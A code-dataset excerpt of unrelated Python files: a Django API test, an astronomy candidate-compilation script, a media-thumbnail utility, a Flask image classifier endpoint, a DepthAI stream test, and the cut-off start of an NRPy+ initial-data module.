+{"seq_id":"14870027","text":"from rest_framework import status\nfrom rest_framework.test import APITestCase\n\nfrom legalaid.tests.views.test_base import CLACheckerAuthBaseApiTestMixin\n\n\nfrom legalaid.tests.views.mixins.eligibility_check_api import \\\n EligibilityCheckAPIMixin\n\n\nclass EligibilityCheckTestCase(\n EligibilityCheckAPIMixin, CLACheckerAuthBaseApiTestMixin, APITestCase\n):\n\n def test_can_change_notes(self):\n data = {\n 'notes': 'new notes',\n 'your_problem_notes': 'ipsum lorem2',\n }\n response = self.client.patch(\n self.detail_url, data=data, format='json',\n HTTP_AUTHORIZATION=self.get_http_authorization()\n )\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n # checking the changed properties\n self.resource.your_problem_notes = data['your_problem_notes']\n self.resource.notes = data['notes']\n self.assertEligibilityCheckEqual(response.data, self.resource)\n\n def assertEligibilityCheckEqual(self, data, check):\n self.assertEqual(data['reference'], unicode(check.reference))\n self.assertEqual(data['category'], check.category.code if check.category else None)\n self.assertEqual(data['your_problem_notes'], check.your_problem_notes)\n self.assertEqual(data['notes'], check.notes)\n self.assertEqual(len(data['property_set']), check.property_set.count())\n self.assertEqual(data['dependants_young'], check.dependants_young)\n self.assertEqual(data['dependants_old'], check.dependants_old)\n self.assertPersonEqual(data['you'], check.you)\n self.assertPersonEqual(data['partner'], check.partner, partner=True)\n","sub_path":"cla_backend/apps/checker/tests/api/test_eligibility_check_api.py","file_name":"test_eligibility_check_api.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"548867671","text":"import glob\nimport sys\nimport os\nimport numpy\nimport pylab\nimport healpy\nimport pyfits\n\nimport ugali.utils.healpix\n#import uagli.utils.projector\nimport ugali.candidate.associate\n\npylab.ion()\n\n############################################################\n\"\"\"\ndatadir = '/Users/keithbechtol/Documents/DES/projects/calibration/Y2N/data/catalog'\ninfiles = glob.glob('%s/starcat_y2n_gr_v3_00000*.fits'%(datadir))\ndata_array = []\nfor infile in infiles:\n print infile\n reader = pyfits.open(infile)\n data_array.append(reader[1].data)\n reader.close()\nprint 'Assembling data...'\ndata = numpy.concatenate(data_array)\n\n############################################################\n\nprint 'Applying cuts...'\ncut = (data['WAVG_MAG_PSF_G'] < 23.5) \\\n & ((data['WAVG_MAG_PSF_G'] - data['WAVG_MAG_PSF_R']) < 1.) \\\n & (numpy.fabs(data['SPREAD_MODEL_R']) < 0.003 + data['SPREADERR_MODEL_R'])\n#& (numpy.fabs(data['WAVG_SPREAD_MODEL_R']) < 0.003 + data['SPREADERR_MODEL_R'])\ndata = data[cut]\n\n############################################################\n\nprint 'Pixelizing...'\nnpix_256 = healpy.nside2npix(256)\npix_256 = ugali.utils.healpix.angToPix(256, data['RA'], data['DEC'])\nm_256 = numpy.histogram(pix_256, numpy.arange(npix_256 + 1))[0].astype(float)\nm_256[m_256 == 0.] = healpy.UNSEEN \n\"\"\"\n############################################################\n\nsave = False\n\ninfiles = glob.glob('results_midway_v8/*.csv')\n\nra_array = []\ndec_array = []\nsig_array = []\nr_array = []\ndistance_modulus_array = []\nfor infile in infiles:\n data = numpy.recfromcsv(infile)\n if data.shape == (0,):\n continue\n\n if data['ra'].shape == ():\n ra_array.append([data['ra']])\n dec_array.append([data['dec']])\n sig_array.append([data['sig']])\n r_array.append([data['r']])\n distance_modulus_array.append([data['distance_modulus']])\n else:\n ra_array.append(data['ra'])\n dec_array.append(data['dec'])\n sig_array.append(data['sig'])\n r_array.append(data['r'])\n distance_modulus_array.append(data['distance_modulus'])\n\nsig_array = numpy.concatenate(sig_array)\nindex_sort = numpy.argsort(sig_array)\nsig_array = sig_array[index_sort]\nra_array = numpy.concatenate(ra_array)[index_sort]\ndec_array = numpy.concatenate(dec_array)[index_sort]\nr_array = numpy.concatenate(r_array)[index_sort]\ndistance_modulus_array = numpy.concatenate(distance_modulus_array)[index_sort]\n\n### Run Associations ###\n\ncatalog_array = ['McConnachie12', 'Harris96', 'Corwen04', 'Nilson73', 'Webbink85', 'Kharchenko13', 'WEBDA14','ExtraDwarfs','ExtraClusters']\ncatalog = ugali.candidate.associate.SourceCatalog()\nfor catalog_name in catalog_array:\n catalog += ugali.candidate.associate.catalogFactory(catalog_name)\nassociation_array = []\nassociation_angsep_array = numpy.tile(180., len(sig_array))\nfor ii in range(0, len(sig_array)):\n glon, glat = ugali.utils.projector.celToGal(ra_array[ii], dec_array[ii])\n idx1, idx2, angsep = catalog.match(glon, glat, tol=0.5, nnearest=1)\n match = catalog[idx2]\n if len(match) > 0:\n association_array.append(match[0]['name'].replace(' ', '_'))\n association_angsep_array[ii] = angsep\n else:\n association_array.append('NONE')\nassociation_array = numpy.array(association_array)\n \n\n#cut = ((r_array < 0.21) | (r_array > 0.31)) & (sig_array > 5.9) & (distance_modulus_array < 23.)# & (distance_modulus_array > 20.)\n#cut = (r_array < 0.2) & (sig_array > 7.) & (dec_array < -40.)\n#cut = (r_array < 0.2) & (sig_array > 5.6) & (sig_array < 5.7)\n#cut = (r_array > 0.2) & (sig_array > 10)\n#cut = (r_array > 0.2) & (r_array < 0.28) & (sig_array > 9.)# & (sig_array < 7.)\n#cut = (r_array < 0.2) & (sig_array > 7.)\n#cut = (r_array < 0.2) & (sig_array > 6.) & (sig_array < 7.)\n#cut = (r_array < 0.2) & (sig_array > 5.5) & (sig_array < 6.)\ncut = numpy.logical_not((r_array > 0.2) | \\\n (((numpy.char.count(association_array, 'NGC_') > 0) | \\\n (numpy.char.count(association_array, 'UGC_') > 0) | \\\n (numpy.char.count(association_array, 'IC_') > 0)) & (association_angsep_array < 0.2))) & (sig_array > 5.5)\n\n#cut = ugali.utils.projector.angsep(ra_array, dec_array, 55.20, -37.50) < 0.1\n#cut = ugali.utils.projector.angsep(ra_array, dec_array, 56.36, -60.44) < 0.1\n#cut = ugali.utils.projector.angsep(ra_array, dec_array, 67.01, -44.34) < 0.1\n\nsig_cut_array = [5.5, 6., 6.5, 7., 10.]\nfor sig_cut in sig_cut_array:\n print(sig_cut, numpy.sum((sig_array > sig_cut) & (r_array < 0.2)))\n\nfor ii in range(0, numpy.sum(cut)):\n print(ra_array[cut][ii], dec_array[cut][ii], sig_array[cut][ii], association_array[cut][ii], association_angsep_array[cut][ii]) \n\nfor ra, dec, distance_modulus in zip(ra_array[cut], dec_array[cut], distance_modulus_array[cut]):\n outfile = 'candidate_%.2f_%.2f.png'%(ra, dec)\n if distance_modulus < 30.:\n pass\n os.system('cp figs_midway_v8/%s figs_temp/.'%(outfile))\n #os.system('open figs_midway_v1/%s'%(outfile))\n\n#sys.exit('DONE')\n\n\"\"\"\npylab.figure()\n#pylab.scatter(ra_array[cut], dec_array[cut], c=sig_array[cut])\npylab.scatter(ra_array, dec_array, c=sig_array, edgecolor='none')\ncolorbar = pylab.colorbar()\ncolorbar.set_label(r'Significance ($\\sigma$)')\n\"\"\"\n\ngc_catalog = ugali.candidate.associate.catalogFactory('Harris96')\nsat_catalog = ugali.candidate.associate.catalogFactory('McConnachie12')\n\nra_ngc, dec_ngc = list(zip(*[[54.63, -35.45],\n [11.78, -20.76],\n [51.59, -21.34],\n [28.25, -13.74],\n [50.59, -37.26],\n [51.62, -35.72],\n [319.12, -48.36],\n [45.40, -14.85],\n [66.93, -55.02]]))\n\nra_des, dec_des, name_des = list(zip(*[[53.92, -54.05, 'Ret II'],\n [56.09, -43.53, 'Eri II'],\n [343.06, -58.57, 'Tuc II'],\n [43.87, -54.11, 'Hor I'],\n [317.20, -51.16, 'Kim 2'],\n [70.95, -50.28, 'Pic I'],\n [354.99, -54.41, 'Phe II'],\n [35.69, -52.28, 'Eri III'],\n [344.18, -50.16, 'Gru I'],\n [49.13, -50.02, 'Hor II'],\n [8.51, -49.04, 'Luque 1']]))\n\nra_des_new, dec_des_new, name_des_new = list(zip(*[[331.06, -46.47, 'Gru II'],\n [359.04, -59.63, 'Tuc III'],\n [82.85, -28.03, 'Col I'], # Rock solid\n #[32.29, -12.17, 'Cet II'],\n [0.668, -60.888, 'Tuc IV'],\n [354.37, -63.26, 'Tuc V'], # Also solid\n #[70.95, -50.29, 'New'], # Pic I\n #[94.85, -50.33, 'New'],\n #[67.01, -44.34, 'New'],\n [56.36, -60.44, 'Many faint stars'],\n [30.02, 3.35, 'Wide near S82']]))\n #[8.51, -49.04, 'Luque 1'],\n #[344.19, -50.16, 'New'], # Grus I\n #[317.21, -51.16, 'New'], # Ind I\n #[55.20, -37.50, 'New'],\n #[14.08, -18.36, 'New'],\n #[348.73, -42.56, 'New']])\n\n# Cannot immediately rule out\n#55.20, -37.50 # Looks OK, but there is a somewhat bright neaby galaxy in Aladin viewer, needs further investigation\n#317.21, -51.16 # Very compact, very few stars, no association, clean in Aladin viewer, Ind I\n#81.18, -54.69 # Not super compelling, but possibly a low surface brightness overdensity\n#14.08, -18.36 # Very sparse if there at all, but stars line up nicely along isochrone, overdensity visible in map, no association, clean in Aladin viewer\n#21.76, -6.04 # Right on edge of footprint, so a bit hard to tell\n#24.37, -34.44 # Nothing obviously wrong, but not many stars at MSTO\n#26.83, -51.93 # Spotty\n#30.37, -3.26 # Whiting 1\n#344.19, -50.16 # Looks pretty good, no association, clean in Aladin viewer, Grus I\n#348.73, -42.56 # A good example of something at a distance that makes very difficult to distinguish from foreground, but an apparent overdensity\n#38.80, 3.84 # Sketchy\n#43.90, -60.05 # Overdensity is somewhat visible in the map, MSTO just below g ~ 23\n#56.36, -60.44 # Clear overdensity, no association, clean in Aladin viewer \n#58.76, -49.61 # AM 1\n#64.70, -24.09 # Sparse, but slight overdensity visible\n#66.19, -21.19 # Eri\n#67.01, -44.34 # Clearly visible overdensity, very sparse, but stars line up on isochrone, no association, clean in Aladin viewer\n#70.95, -50.29 # Looks very good, no association, clean in Aladin viewer, Pic I\n#94.85, -50.33 # Possibly very near, no association, clean in Aladin viewer\n\n#[343.04, -58.59, 'New 2'], Tuc II\n#[43.89, -54.12, 'New 3'], Hor I\n\n#ra_des, dec_des, name_des = zip(*[[359.04, -59.63, 'Tuc III']])\n\n#m_256 = numpy.load('density_map_nside_512.npy')\nm_256 = numpy.load('/Users/keithbechtol/Documents/DES/projects/mw_substructure/des/y2n/skymap/density_map_nside_1024_v6.npy')\nm_256[m_256 == 0.] = healpy.UNSEEN\n\npylab.figure(num='map1', figsize=(16, 10))\nhealpy.mollview(m_256, \n fig='map1', cmap='binary', xsize=6400, min=0.5 * numpy.median(m_256[m_256 > 0.]), max=4. * numpy.median(m_256[m_256 > 0.]),\n unit='Stellar Density',\n title='Inclusive')\npylab.xlim(-1, 0.55)\npylab.ylim(-0.85, 0.2)\nhealpy.projscatter(ra_array, dec_array, c=sig_array, edgecolor='none', lonlat=True, vmin=5., vmax=25.)\nif save:\n pylab.savefig('compile_map_inclusive.png', dpi=150, bbox_inches='tight')\n\npylab.figure(num='map2', figsize=(16, 10))\nhealpy.mollview(m_256, \n fig='map2', cmap='binary', xsize=6400, min=0.5 * numpy.median(m_256[m_256 > 0.]), max=4. * numpy.median(m_256[m_256 > 0.]),\n unit='Stellar Density',\n title=r'Cleaned: size < 0.2 deg & significance > 6 $\\sigma$ & m - M < 23.')\npylab.xlim(-1, 0.55)\npylab.ylim(-0.85, 0.2)\nhealpy.projscatter(ra_array[cut], dec_array[cut], c=sig_array[cut], edgecolor='none', lonlat=True, vmin=5., vmax=25.)\n#healpy.projscatter(ra_array, dec_array, c=sig_array, edgecolor='none', lonlat=True, vmin=5., vmax=25.)\nhealpy.projscatter(ra_des, dec_des, edgecolor='red', facecolor='none', marker='o', s=40, lonlat=True)\nhealpy.projscatter(ra_des_new, dec_des_new, edgecolor='blue', facecolor='none', marker='o', s=50, lonlat=True)\nhealpy.projscatter(gc_catalog.data['ra'], gc_catalog.data['dec'], edgecolor='red', facecolor='none', marker='x', s=40, lonlat=True)\nhealpy.projscatter(sat_catalog.data['ra'], sat_catalog.data['dec'], edgecolor='blue', facecolor='none', marker='x', s=40, lonlat=True)\nhealpy.projscatter(ra_ngc, dec_ngc, edgecolor='green', facecolor='none', marker='x', s=40, lonlat=True)\nif save:\n pylab.savefig('compile_map_clean.png', dpi=150, bbox_inches='tight')\n\n\n#pylab.figure()\n#pylab.scatter(ra_array, dec_array, c=sig_array, edgecolor='none', vmin=5., vmax=25.)\n#pylab.scatter(ra_array[cut], dec_array[cut], c=sig_array[cut], edgecolor='none', vmin=5., vmax=25.)\n#pylab.colorbar()\n#pylab.scatter(ra_des, dec_des, c='black', edgecolor='black', marker='x')\n\n\npylab.figure()\n#pylab.hist(distance_modulus_array[(r_array < 0.2) & (sig_array > 8.)], bins=numpy.arange(16.25, 24.25, 0.5))\npylab.hist(distance_modulus_array, bins=numpy.arange(16.25, 24.25, 0.5))\npylab.xlabel('m - M (mag)')\npylab.ylabel('N')\npylab.savefig('compile_hist_distance_modulus.png', dpi=150, bbox_inches='tight')\n\npylab.figure()\npylab.hist(r_array, bins=numpy.arange(0.005, 0.315, 0.01))\npylab.xlabel('Size (deg)')\npylab.ylabel('N')\npylab.xlim(0., 0.30)\nif save:\n pylab.savefig('compile_hist_size.png', dpi=150, bbox_inches='tight')\n\ncut_dirty = (r_array > 0.2) | \\\n (((numpy.char.count(association_array, 'NGC_') > 0) | \\\n (numpy.char.count(association_array, 'UGC_') > 0) | \\\n (numpy.char.count(association_array, 'IC_') > 0)) & (association_angsep_array < 0.2))\n\npylab.figure()\npylab.yscale('log', nonposy='clip')\npylab.ylim(0.1, 1.e3)\npylab.hist(sig_array, bins=numpy.linspace(5, 25, 41), color='green', alpha=0.5, label='All')\npylab.hist(sig_array[~cut_dirty], bins=numpy.linspace(5, 25, 41), color='green', label='r < 0.2 deg & no large galaxy association')\npylab.xlabel(r'Significance ($\\sigma$)')\npylab.ylabel('N')\npylab.legend(loc='upper right', frameon=False)\nif save:\n pylab.savefig('compile_hist_significance.png', dpi=150, bbox_inches='tight')\n #pylab.savefig('figs_summary_v8/compile_hist_significance.png', dpi=150, bbox_inches='tight')\n\npylab.figure()\npylab.scatter(sig_array, r_array, c=distance_modulus_array, edgecolor='none')\ncolorbar = pylab.colorbar()\ncolorbar.set_label('m - M (mag)')\npylab.xlabel(r'Significance ($\\sigma$)')\npylab.ylabel('Size (deg)')\npylab.xlim(4., 26.)\npylab.ylim(0., 0.32)\nif save:\n pylab.savefig('compile_scatter.png', dpi=150, bbox_inches='tight')\n\nfor ii in range(0, len(ra_des)):\n angsep = ugali.utils.projector.angsep(ra_des[ii], dec_des[ii], ra_array, dec_array)\n outfile = 'candidate_%.2f_%.2f.png'%(ra_array[numpy.argmin(angsep)], dec_array[numpy.argmin(angsep)])\n #print name_des[ii], sig_array[numpy.argmin(angsep)], outfile\n print('| %s | %.2f, %.2f | %.2f | {{thumbnail(%s, size=400)}} |'%(name_des[ii], ra_des[ii], dec_des[ii], sig_array[numpy.argmin(angsep)], outfile))\n os.system('cp figs_midway_v8/%s figs_reported/.'%(outfile))\n\nfor ii in range(0, len(ra_des_new)):\n angsep = ugali.utils.projector.angsep(ra_des_new[ii], dec_des_new[ii], ra_array, dec_array)\n outfile = 'candidate_%.2f_%.2f.png'%(ra_array[numpy.argmin(angsep)], dec_array[numpy.argmin(angsep)])\n #print name_des_new[ii], ra_des_new[ii], dec_des_new[ii], sig_array[numpy.argmin(angsep)], outfile\n print('| %s | %.2f, %.2f | %.2f | {{thumbnail(%s, size=400)}} |'%(name_des_new[ii], ra_des_new[ii], dec_des_new[ii], sig_array[numpy.argmin(angsep)], outfile))\n os.system('cp figs_midway_v8/%s figs_seed/.'%(outfile))\n\n\noutfile = 'simple_binner_compiled_v8.csv'\nwriter = open(outfile, 'w')\nwriter.write('sig, ra, dec, distance_modulus, r, association, association_angsep\\n')\nfor ii in range(0, len(sig_array)):\n writer.write('%10.2f, %10.2f, %10.2f, %10.2f, %10.2f, %30s, %10.2f\\n'%(sig_array[ii], \n ra_array[ii], dec_array[ii], distance_modulus_array[ii], \n r_array[ii],\n association_array[ii], association_angsep_array[ii]))\nwriter.close()\n","sub_path":"ugali/simple/extra/compile_results_v3.py","file_name":"compile_results_v3.py","file_ext":"py","file_size_in_byte":15173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"653424833","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Copyright (c) 2012 Martin Ueding \n\nimport optparse\nimport json\nimport sys\n\nimport parser\nimport writer\n\ndef main():\n options, args = _parse_args()\n\n filename = args[0]\n\n imported = parser.parse(filename, options.read_format)\n\n if options.outfile is not None:\n outfile = open(options.outfile, \"w\")\n else:\n outfile = sys.stdout\n\n writer.write(imported, outfile, options.write_format)\n\n if options.outfile is not None:\n outfile.close()\n\ndef _parse_args():\n \"\"\"\n Parses the command line arguments.\n\n @return: Tuple with options and (positional) arguments.\n @rtype: tuple\n \"\"\"\n parser = optparse.OptionParser(usage=\"\", description=\"\")\n parser.add_option(\"-o\", dest=\"outfile\", default=None, help=\"File to write to\")\n parser.add_option(\"-w\", dest=\"write_format\", default=\"pidgin\", help=\"Write format. [default: %default]\")\n parser.add_option(\"-r\", dest=\"read_format\", default=\"adium\", help=\"Read format. [default: %default]\")\n\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"adium-importer.py","file_name":"adium-importer.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"332117406","text":"import shutil\nimport subprocess # nosec\nfrom functools import cached_property\nfrom typing import Optional\nfrom xml.etree.ElementTree import Element, ElementTree # nosec\nfrom xml.etree.ElementTree import fromstring as elementtree_fromstring # nosec\n\nfrom django.core.files.uploadedfile import TemporaryUploadedFile\n\n\nclass VisualMediaFileException(Exception):\n pass\n\n\nclass VisualMediaFile:\n _FFMPEG_COMMAND = \"ffmpeg\"\n _IMAGEMAGICK_CONVERT_COMMAND = \"convert\"\n _MEDIAINFO_COMMAND = \"mediainfo\"\n _REQUIRED_COMMANDS = [_FFMPEG_COMMAND, _IMAGEMAGICK_CONVERT_COMMAND, _MEDIAINFO_COMMAND]\n _MEDIAINFO_XML_NAMESPACES = {\n \"mediainfo_ns\": \"https://mediaarea.net/mediainfo\",\n }\n ALLOWED_IMAGE_FORMATS = [\"GIF\", \"JPEG\", \"PNG\", \"WebP\"]\n ALLOWED_VIDEO_FORMATS = [\"MPEG-4\", \"WebM\"]\n ALLOWED_MEDIA_FORMATS = ALLOWED_IMAGE_FORMATS + ALLOWED_VIDEO_FORMATS\n\n def __init__(self, file: TemporaryUploadedFile) -> None:\n self._file = file\n self._content = file.read()\n self._info_xml_tree: Optional[ElementTree] = None\n self._initialize()\n\n @classmethod\n def check_dependencies(cls) -> None:\n commands = cls._REQUIRED_COMMANDS\n for item in commands:\n if not shutil.which(item):\n raise FileNotFoundError(f'Command \"{item}\" not found')\n\n @staticmethod\n def get_element_path_text(source_element: Element, path: str, default=None, namespaces=None) -> Optional[str]:\n return source_element.findtext(path, default=default, namespaces=namespaces)\n\n @classmethod\n def get_element_path_int(cls, source_element: Element, path: str, default=None, namespaces=None) -> Optional[int]:\n text = cls.get_element_path_text(source_element, path, default=default, namespaces=namespaces)\n if isinstance(text, int):\n return text\n if isinstance(text, str):\n return int(text, 10)\n return default\n\n @staticmethod\n def _run_command(*args, **kwargs) -> subprocess.CompletedProcess:\n kwargs.update({\"capture_output\": True, \"check\": True})\n return subprocess.run(args, **kwargs) # nosec # pylint: disable=subprocess-run-check\n\n @cached_property\n def duration(self) -> Optional[float]:\n if not self.is_video:\n return None\n track = self._media_track_element\n duration = self.get_element_path_text(\n track, \"mediainfo_ns:Duration\", namespaces=self._MEDIAINFO_XML_NAMESPACES\n )\n if duration is None:\n raise VisualMediaFileException(\"Media file might be corrupted\")\n return float(duration)\n\n @cached_property\n def height(self) -> int:\n track = self._media_track_element\n height = self.get_element_path_int(track, \"mediainfo_ns:Height\", namespaces=self._MEDIAINFO_XML_NAMESPACES)\n if height is None:\n raise VisualMediaFileException(\"Media file might be corrupted\")\n return height\n\n @property\n def is_video(self) -> bool:\n return self.media_format in self.ALLOWED_VIDEO_FORMATS\n\n @cached_property\n def media_format(self) -> str:\n general_track = self._general_track_element\n media_format = self.get_element_path_text(\n general_track, \"mediainfo_ns:Format\", namespaces=self._MEDIAINFO_XML_NAMESPACES\n )\n if media_format not in self.ALLOWED_MEDIA_FORMATS:\n raise VisualMediaFileException(f\"{media_format} is not acceptable as a media\")\n return media_format\n\n @cached_property\n def size(self) -> int:\n return self._file.size\n\n @cached_property\n def width(self) -> int:\n track = self._media_track_element\n width = self.get_element_path_int(track, \"mediainfo_ns:Width\", namespaces=self._MEDIAINFO_XML_NAMESPACES)\n if width is None:\n raise VisualMediaFileException(\"Media file might be corrupted\")\n return width\n\n @cached_property\n def _general_track_element(self):\n root = self._info_xml_tree.getroot()\n return root[1][0]\n\n @cached_property\n def _media_track_element(self):\n root = self._info_xml_tree.getroot()\n tracks = root[1]\n if not self.is_video:\n track = tracks.findall('mediainfo_ns:track[@type=\"Image\"]', self._MEDIAINFO_XML_NAMESPACES)[0]\n else:\n track = tracks.findall('mediainfo_ns:track[@type=\"Video\"]', self._MEDIAINFO_XML_NAMESPACES)[0]\n return track\n\n def _initialize(self) -> None:\n try:\n media_info = self._run_command(\n self._MEDIAINFO_COMMAND,\n \"--Output=XML\",\n self._file.temporary_file_path(),\n ).stdout.decode(\"utf-8\")\n except subprocess.CalledProcessError as exc:\n raise VisualMediaFileException(\"Error processing media file\") from exc\n\n self._info_xml_tree = ElementTree(elementtree_fromstring(media_info))\n general_track = self._general_track_element\n\n if self.is_video:\n video_stream_count = self.get_element_path_int(\n general_track, \"mediainfo_ns:VideoCount\", namespaces=self._MEDIAINFO_XML_NAMESPACES\n )\n\n if video_stream_count is None or video_stream_count < 1:\n raise VisualMediaFileException(\"Media file might be corrupted\")\n\n if video_stream_count > 1:\n raise VisualMediaFileException(\"Media file has too many video streams\")\n\n # Access all visual media property to make sure exceptions are thrown\n # during initialization rather than later.\n _ = self.duration\n _ = self.height\n _ = self.width\n\n def generate_thumbnail_content(self, resize_dimension: str = \"200\", quality: str = \"85\") -> bytes:\n if self.is_video:\n try:\n primary_image_content = self._run_command(\n self._FFMPEG_COMMAND,\n \"-v\",\n \"quiet\",\n \"-y\",\n \"-i\",\n \"pipe:\",\n \"-ss\",\n # Extract frame from middle of the video.\n f\"{self.duration / 2}\", # type: ignore\n \"-vframes\",\n \"1\",\n \"-f\",\n \"image2\",\n \"pipe:\",\n input=self._content,\n ).stdout\n except subprocess.CalledProcessError as exc:\n raise VisualMediaFileException(\"Could not generate video thumbnail\") from exc\n else:\n primary_image_content = self._content\n\n input_pipe = \"-\"\n\n # Select only the first frame if input file is an animated gif.\n if self.media_format == \"GIF\":\n input_pipe = f\"{input_pipe}[0]\"\n\n try:\n return self._run_command(\n self._IMAGEMAGICK_CONVERT_COMMAND,\n \"-verbose\",\n \"-resize\",\n resize_dimension,\n \"-strip\",\n \"-quality\",\n quality,\n input_pipe,\n \"webp:-\",\n input=primary_image_content,\n ).stdout\n except subprocess.CalledProcessError as exc:\n raise VisualMediaFileException(\"Could not generate thumbnail\") from exc\n","sub_path":"fuchan/utils/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":7323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"263159680","text":"# Given a string and true length of string, replace all whitespace with \"%20\"\n# input: \"Mr John Smith \", 13\n# output: \"Mr%20John%20Smith\"\n\n\ndef urlify(string, n):\n if not len(string):\n return ''\n\n encoder = '%20'\n result = ''\n\n for i in range(n):\n char = string[i]\n if char == ' ':\n result += encoder\n else:\n result += char\n\n return result\n\n\ndef main():\n base = ''\n happy = 'Mr John Smith '\n\n print(urlify(base, 0))\n print(urlify(happy, 13))\n\n\nmain()\n","sub_path":"python/string/urlify.py","file_name":"urlify.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"265055574","text":"\"\"\"\n@author : Rakesh Roshan\n@contact : rakesh.roshan@affineanalytics.com\n\nA set of functions to start the API serverand listen to the requests.\nReturns the JSON output from running models and IOU their outputs.\n\"\"\"\nimport cv2\nimport json\nfrom flask import Flask, url_for, send_from_directory, request, jsonify\nimport logging, os\nfrom werkzeug import secure_filename\nimport classifier_new\n\nfrom PIL import Image\nfrom binascii import a2b_base64\n\n\napp = Flask(__name__)\n## Logs are logged into the server.log file.\nfile_handler = logging.FileHandler('server.log')\napp.logger.addHandler(file_handler)\napp.logger.setLevel(logging.INFO)\nPROJECT_HOME = os.path.dirname(os.path.realpath(__file__))\n\n\n@app.route('/testpost', methods = ['POST'])\ndef api_root():\n \"\"\"\n Reads the image from request.\n Runs the model.\n Returns the JSON output.\n Args: HTTP post request with an image file specified to the key 'image'\n \"\"\"\n app.logger.info('Project_Home:' + PROJECT_HOME)\n if request.method == 'POST':\n #print(request.form['image'])\n ## Read the image file.\n #img = request.form['image']\n #print(request.form['image'].encode('utf-8'))\n #img = base64.b64decode(request.form['image'].encode('utf-8')).decode('utf-8')\n #img = request.form['image'].decode('base64')\n #imgData = request.form['image'][:-1]\n #imgData = imgData[22:] \n #print(imgData)\n #img = base64.b64decode(imgData)\n encoded = request.form['image'].split(\",\", 1)[1] \n print(encoded)\n #img_data = b64decode(encoded)\n img_data = a2b_base64(encoded)\n with open(\"test_images/test_32.png\", \"wb\") as f:\n f.write(img_data)\n rgba_image = Image.open(\"test_images/test_32.png\")\n rgb_image = rgba_image.convert('RGB')\n rgb_image.save(\"test_images/test.png\")\n response = classifier_new.main(classifier_new.parse_arguments([])) \n print(response)\n ## Return the JSON response to the API request.\n return jsonify({'data': response}) \n #return response\n else:\n \treturn \"Where is the image?\"\n\n@app.route('/testget', methods = ['GET'])\ndef test_get():\n return \"Tested Get.\"\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=False)\n","sub_path":"versions/api_server_v1.0.py","file_name":"api_server_v1.0.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"159579832","text":"import sys\nfrom time import time\n\nimport numpy as np\nimport cv2\n\nimport depthai\n\nimport consts.resource_paths\n\n\nprint('depthai.__version__ == %s' % depthai.__version__)\n\n\ncmd_file = consts.resource_paths.device_depth_cmd_fpath\nif len(sys.argv) > 1 and sys.argv[1] == \"debug\":\n cmd_file = ''\n print('depthai will not load cmd file into device.')\n\n\ncounter = 0\n\nstreams_list = ['left', 'right', 'depth', 'meta_d2h']\n\npipieline = depthai.create_pipeline(\n streams=streams_list,\n cmd_file=cmd_file,\n calibration_file=consts.resource_paths.calib_fpath,\n config_file=consts.resource_paths.pipeline_config_fpath\n )\n\n\nt_start = time()\nframe_count = {}\nframe_count_prev = {}\nfor s in streams_list:\n frame_count[s] = 0\n frame_count_prev[s] = 0\n\n\nwhile True:\n data_list = pipieline.get_available_data_packets()\n\n for packet in data_list:\n if packet.stream_name == 'depth':\n frame_bgr = packet.getData()\n cv2.putText(frame_bgr, \"fps: \" + str(frame_count_prev[packet.stream_name]), (25, 25), cv2.FONT_HERSHEY_SIMPLEX, 1.0, (0, 0, 0))\n cv2.imshow(packet.stream_name, frame_bgr)\n elif packet.stream_name == 'meta_d2h':\n data = packet.getData()\n print('meta_d2h counter: ' + str(data[0]))\n\n elif packet.stream_name == 'left':\n frame_bgr = packet.getData()\n cv2.putText(frame_bgr, \"fps: \" + str(frame_count_prev[packet.stream_name]), (25, 25), cv2.FONT_HERSHEY_SIMPLEX, 1.0, (0, 0, 0))\n cv2.imshow(packet.stream_name, frame_bgr)\n elif packet.stream_name == 'right':\n frame_bgr = packet.getData()\n cv2.putText(frame_bgr, \"fps: \" + str(frame_count_prev[packet.stream_name]), (25, 25), cv2.FONT_HERSHEY_SIMPLEX, 1.0, (0, 0, 0))\n cv2.imshow(packet.stream_name, frame_bgr)\n else:\n print('Packet : ' + packet.stream_name)\n\n frame_count[packet.stream_name] += 1\n\n if cv2.waitKey(1) == ord('q'):\n break\n\n t_curr = time()\n if t_start + 1.0 < t_curr:\n t_start = t_curr\n\n for s in streams_list:\n frame_count_prev[s] = frame_count[s]\n frame_count[s] = 0\n\nprint('py: DONE.')\n","sub_path":"python-api/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"465490730","text":"# This module sets up arbitrary initial data to be input later froma file in terms of\n# the variables used in BSSN_RHSs.py\n# \n# **Input variables needed for spacetime evolution**:\n# * Conformal factor, psi_in\n# * Desired coordinate system\n# * Desired initial lapse $\\alpha_in$ and shift $\\beta^i_in$\n# \n# **Transformation to curvilinear coordinates**:\n# * Once the above variables have been set in Cartesian coordinates, we will apply the appropriate coordinate transformations and tensor rescalings ([described in the BSSN NRPy+ tutorial module](Tutorial-BSSNCurvilinear.ipynb))\n\n# Step P0: Load needed modules\nimport numpy as np\nimport sympy as sp\nimport NRPy_param_funcs as par\nfrom outputC import *\nimport indexedexp as ixp\nimport BSSN_SF.CartesianADMID_to_BSSNCurvilinearID as ctob\nimport BSSN_SF.BSSN_ID_function_string as bIDf\n\nthismodule = \"ID_array_psi\"\npsi_in = par.Cparameters(\"REAL\", thismodule, [\"psi_in\"], \"\")\nalpha_in = par.Cparameters(\"REAL\", thismodule, [\"alpha_in\"], \"\")\n\ndef ID_array_psi():\n global Cartxyz, gammaCartDD, KCartDD, 